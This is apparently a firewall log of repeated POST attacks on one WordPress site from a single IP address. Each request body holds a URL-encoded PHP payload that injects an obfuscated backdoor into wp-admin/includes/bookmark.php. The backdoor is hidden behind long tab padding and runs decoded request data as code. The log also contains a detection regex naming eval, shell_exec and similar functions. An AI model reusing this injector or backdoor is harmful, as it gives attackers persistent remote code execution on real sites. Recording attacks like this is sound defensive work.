2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoxtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4346\naccept:*\/*\n\nnH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:38:34","213.209.159.254","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvraZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4346\naccept:*\/*\n\nzs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:38:35","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Gu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-length:4346\naccept:*\/*\n\nGu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:38:37","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> YS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/bookmark.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%252C%2520array_keys%2528%2524_REQUEST%2529%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255Bsys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524data%2520%253D%2520%2524_REQUEST%255B%2522c%255Cx6F%255Cx6Dp%255Cx6F%255Cx6Eent%2522%255D%253B%2520%2524data%2520%253D%2520explode%2520%2528%2520%2527.%2527%2520%252C%2520%2524data%2520%2529%2520%253B%2520%2524pset%2520%253D%2520%2527%2527%253B%2520%2524salt2%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524salt2%2520%2529%253B%2520foreach%2528%2524data%2520as%2520%2524j%2520%253D%253E%2524v4%2529%2520%257B%2520%2524chS%2520%253D%2520ord%2528%2524salt2%255B%2524j%2520%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2528%2524j%2520%2525%252010%2529%2529%2520%255E%25202%253B%2520%2524pset%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524holder%2529%253A%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524holder%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2522%2524holder\/.binding%2522%253B%2520if%2520%2528file_put_contents%2528%2524ent%252C%2520%2524pset%2529%2529%2520%257B%2520include%2520%2524ent%253B%2520%2540unlink%2528%2524ent%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%2